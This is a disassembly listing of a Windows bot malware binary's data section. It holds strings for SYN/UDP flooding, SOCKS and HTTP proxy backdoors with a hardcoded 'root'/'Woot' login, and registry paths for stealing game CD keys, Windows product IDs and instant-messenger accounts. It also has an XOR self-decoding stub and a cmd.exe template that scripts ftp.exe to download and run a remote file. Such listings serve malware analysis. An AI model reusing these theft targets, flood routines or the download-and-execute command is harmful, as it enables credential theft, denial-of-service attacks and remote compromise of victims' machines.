		align 4
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 4
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 8
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 8
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 10h
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 4
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 4
		dd 0
off_446EFC	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+AAo
		align 10h
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+33o
		align 10h
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
		db 0Dh,0Ah,0
		align 10h
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
					; ___:0042A147o
		align 8
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
					; ___:0042A129o
		align 8
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429F54o
		align 8
aChunked	db 'chunked',0          ; DATA XREF: ___:00429F11o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
		align 4
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429E2Do
		align 10h
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C8Eo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C59o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 10h
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429B5Bo
					; ___:00429FA0o
		align 10h
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
		align 4
		dd 0
asc_4471EC	db 0Dh,0Ah,0		; DATA XREF: ___:00429A1Co
					; ___:00429ADCo ...
		align 10h
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:004299E7o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:004297B2o
		align 8
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:0042977Do
		dd 0
off_447214	dd offset byte_544547	; DATA XREF: ___:004296B8o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42ACB0+22o
		align 10h
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
		align 10h
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 10h
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_4472F4	dd 1000005h, 0	dword_4472FC	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473C4o
		align 10h
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 10h
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 4
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 8
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 10h
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 8
aWrite		db 'write',0
		align 10h
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 10h
dword_4474A0	dd 524F5453h	byte_4474A4	db 0			; DATA XREF: sub_42E5B0+EDr
		align 4
dword_4474A8	dd 52544552h	byte_4474AC	db 0			; DATA XREF: sub_42E5B0+D3r
		align 10h
dword_4474B0	dd 5453494Ch	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+B8r
		align 4
dword_4474B8	dd 54534C4Eh	byte_4474BC	db 0			; DATA XREF: sub_42E5B0+9Er
		align 10h
dword_4474C0	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 4
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 10h
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 10h
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 4
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 10h
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 10h
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 10h
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 4
off_447678	dd offset dword_445750	; DATA XREF: ___:0042F64Do
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 10h
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 8
word_4476B8	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476BC	dd 25206425h, 64hdword_4476C4	dd 455A4953h, 732520h, 0dword_4476D0	dd 4D54444Dh, 732520h, 0dword_4476DC	dd 4F544E52h, 732520h, 0dword_4476E8	dd 52464E52h, 732520h, 0dword_4476F4	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 4
dword_447708	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 4
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <€>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 44885Ch, 448F30h,	448828h, 80000002h, 4487C8h
		dd 448F30h, 448798h, 80000002h,	448740h, 448F30h, 44871Ch
		dd 80000002h, 4486D4h, 448F30h,	4486BCh, 80000002h, 448678h
		dd 448F30h, 448650h, 80000002h,	448614h, 448F30h, 4485E0h
		dd 80000002h, 448580h, 448F30h,	448554h, 80000002h, 448530h
		dd 448528h, 4484FCh, 80000002h,	4484D4h, 448528h, 4484BCh
		dd 80000001h, 44848Ch, 448488h,	448478h, 80000002h, 44843Ch
		dd 448F30h, 44842Ch, 80000002h,	4483F0h, 448F30h, 4483DCh
		dd 80000002h, 448394h, 448F30h,	448378h, 80000002h, 448334h
		dd 448F30h, 448318h, 80000001h,	4482F0h, 448488h, 4482E0h
		dd 80000001h, 4482B8h, 448488h,	448298h, 80000002h, 44825Ch
		dd 448258h, 44823Ch, 80000002h,	448218h, 448210h, 4481F8h
		dd 80000001h, 4481CCh, 4481C4h,	4481A0h, 80000002h, 448154h
		dd 448F30h, 44812Ch, 80000002h,	4480D8h, 448F30h, 4480A0h
		dd 80000002h, 44803Ch, 448F30h,	448008h, 80000002h, 447FA8h
		dd 448F30h, 447F8Ch, 80000002h,	447F44h, 448F30h, 447F28h
		dd 80000002h, 447EE0h, 448F30h,	447ED0h, 80000002h, 447E94h
		dd 448F30h, 447E84h, 80000002h,	447E48h, 448F30h, 447E20h
		dd 80000002h, 447DCCh, 448F30h,	447DA4h, 80000002h, 447D54h
		dd 448F30h, 447D38h, 80000002h,	447D10h, 448488h, 447CFCh
		dd 80000002h, 447CC4h, 448F30h,	447C94h, 80000002h, 447C3Ch
		dd 448F30h, 447C20h, 80000001h,	447BD0h, 447BC8h, 447BACh
		dd 80000002h, 447B68h, 447B5Ch,	447B44h, 80000001h, 447B14h
		dd 447B08h, 447AE8h, 80000002h,	447AACh, 447BC8h, 447A8Ch
		dd 80000002h, 447A50h, 447BC8h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 4
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
		dd 2 dup(0)
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 8
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 4
		dd 0
aSof2key	db 'sof2key',0
		align 8
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 8
aCdkey		db 'CDKey',0
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 4
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 4
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 8
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 10h
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 4
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 8
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aNhl2002	db '[NHL 2002: ',0
		align 10h
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 10h
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 8
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
		dd 2 dup(0)
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 10h
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 10h
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		align 10h
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 10h
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
		dd 2 dup(0)
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 10h
aCdkey_0	db 'CDkey',0
		align 4
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 8
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
		dd 2 dup(0)
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 8
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aHalfLife	db '[Half-Life: ',0
		align 10h
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
		dd 2 dup(0)
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 10h
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
		dd 2 dup(0)
aGlobalOperatio	db '[Global Operations: ',0
		align 10h
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 10h
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3230h, 0
		dd 79654Bh, 74666F53h, 65726177h, 6C61565Ch, 435C6576h
		dd 746E756Fh, 74537265h, 656B6972h, 7465535Ch, 676E6974h
		dd 73h,	2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 10h
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 8
aSerial		db 'Serial',0
		align 10h
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 10h
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 10h
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		align 10h
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 8
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 10h
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		align 10h
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 4
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		align 10h
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447788o
		align 8
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 8
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 10h
		dd 0
dword_4488F4	dd 3A6D6961h, 732520h, 0dword_448900	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 10h
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 10h
aSMainS		db '%s\main\%s',0
		align 10h
aCodkey		db 'codkey',0
		align 4
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 10h
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 4
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 10h
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_448A34	dd 3A6E736Dh, 732520h, 0dword_448A40	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 10h
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 8
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 10h
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 10h
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B6C:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B77:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B83:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B8F:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448BA0:				; CODE XREF: ___:00448BA5j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448BA0
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ah dup(0)
off_448C90	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F30	db 0			; DATA XREF: sub_403530+95o
					; sub_404690+200o ...
		align 4
dword_448F34	dd 0							; sub_4246D0+11o ...
dword_448F38	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4BFr ...
		align 10h
dword_448F40	dd 0							; ___:0040D425w ...
		dd 8 dup(0)
dword_448F64	dd 41h dup(0)						; ___:0040D460o ...
dword_449068	dd 0							; ___:loc_40D4B4r ...
dword_44906C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D42Fr ...
dword_449070	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D660+CAw
dword_449074	dd 0							; sub_40D660+E3r
		dd 11h dup(0)
dword_4490BC	dd 0							; sub_410030+47Dr
dword_4490C0	dd 0							; sub_410030+515r ...
dword_4490C4	dd 0							; sub_410030+655r ...
dword_4490C8	dd 0							; sub_410030+B79r ...
dword_4490CC	dd 0							; sub_410030+74Br
dword_4490D0	dd 0							; sub_410030+828r
dword_4490D4	dd 0							; sub_410030+77Cr
dword_4490D8	dd 0							; sub_410030+4DDr ...
dword_4490DC	dd 0							; sub_410030+311r
dword_4490E0	dd 0							; sub_410030+34Dr ...
dword_4490E4	dd 0							; sub_410030+33Dr
dword_4490E8	dd 0							; sub_410030+3D2r
dword_4490EC	dd 0							; sub_410030+E93r
dword_4490F0	dd 0							; sub_410030+1220r ...
dword_4490F4	dd 0							; sub_4120B0+4DAr
dword_4490F8	dd 0							; sub_410030+683r
dword_4490FC	dd 0							; sub_410030+6B5r
dword_449100	dd 0							; sub_410030+1252r
		dd 5 dup(0)
dword_449118	dd 10h dup(0)						; ___:004040AFo ...
		db 2 dup(0)
byte_44915A	db 0			; DATA XREF: sub_409B10r sub_409B80r
		align 4
		db 3 dup(0)
byte_44915F	db 0			; DATA XREF: sub_40D660+10Fr
		db 0
byte_449161	db 0			; DATA XREF: sub_40DBF0r
word_449162	dw 0			; DATA XREF: sub_40DBF0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449277	db 0			; DATA XREF: ___:00412F9Ao
					; ___:0041304Fo ...
		db 3 dup(0)
byte_44927B	db 0			; DATA XREF: sub_41F960:loc_41F99Dr
		align 10h
dword_449280	dd 12h dup(0)						; sub_410030+114o
		db 0
byte_4492C9	db 3 dup(0)		; DATA XREF: ___:00408BA1o
					; sub_410030+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449312	dw 0			; DATA XREF: ___:00408B78o
					; sub_410030+132o
		dd 6 dup(0)
word_44932C	dw 0			; DATA XREF: sub_410030+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44935B	db 0			; DATA XREF: ___:00408BCAo
					; sub_410030+17Co ...
		dd 12h dup(0)
dword_4493A4	dd 12h dup(0)						; sub_410030+F7o ...
		db 0
byte_4493ED	db 3 dup(0)		; DATA XREF: ___:00408B03o
					; sub_410030+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44947F	db 0			; DATA XREF: ___:00408BF3o
					; sub_410030+19Ao
		dd 24h dup(0)
		db 0
byte_449511	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44955A	dw 0			; DATA XREF: ___:00412F6Ao
					; ___:00412F89o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44964F	dd 0							; sub_41F030+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449729	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449804	db 0			; DATA XREF: sub_410030+842r
		align 4
		dd 0Bh dup(0)
dword_449834	dd 18h dup(0)						; sub_40EE40+97o ...
		db 2 dup(0)
byte_449896	db 0			; DATA XREF: sub_404CC0+258r
					; sub_41D930+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498DF	db 0			; DATA XREF: sub_404CC0:loc_404F30r
					; sub_41D930:loc_41DFB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44990F	db 0			; DATA XREF: sub_404CC0+279o
					; sub_41D930+68Fo ...
		dd 12h dup(0)
dword_449958	dd 2Bh dup(0)						; sub_41F030+630o ...
dword_449A04	dd 0				dd 11h dup(0)
		db 0
dword_449A4D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DB8	db 0			; DATA XREF: sub_41F030+146r
					; sub_41F030+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC5E	dw 0			; DATA XREF: sub_404690+1BDo
					; sub_404B60+31o ...
		db 2 dup(0)
word_44AC62	dw 0			; DATA XREF: sub_404B60+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACD6	dw 0			; DATA XREF: sub_4076B0+36o
					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD70	dd 86h dup(0)						; sub_404CC0+27Eo ...
		db 3 dup(0)
byte_44AF8B	db 0			; DATA XREF: sub_426930+3Bw
					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B18B	dd 0							; sub_4269A0+4Fw ...
dword_44B18F	dd 0							; ___:0042419Dw ...
dword_44B193	dd 0							; sub_4269A0+5Dr ...
dword_44B197	dd 0							; sub_4269A0+8Cr ...
dword_44B19B	dd 0							; sub_4269A0+9Dr
dword_44B19F	dd 0							; ___:004241D1r ...
byte_44B1A3	db 0			; DATA XREF: sub_426930+42w
					; sub_4269A0+85w
		dd 2828h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446EFCo
		dd 0EB85h dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 53D8h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_445314o
		dd 0ECEh dup(0)
		db 3 dup(0)
dword_4D7F8B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8075	db 3 dup(0)		; DATA XREF: sub_404C70+1Eo
					; sub_404CC0+65o ...
		dd 5 dup(0)
byte_4D808C	db 0			; DATA XREF: sub_404CC0+292w
					; sub_404CC0+4EBw
dword_4D808D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D8099	dd 0							; sub_404C70+2Aw
byte_4D809D	db 3 dup(0)		; DATA XREF: ___:00412FC4o
					; ___:00412FE7o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D80C7	dd 0							; sub_428DC0:loc_428EB7r
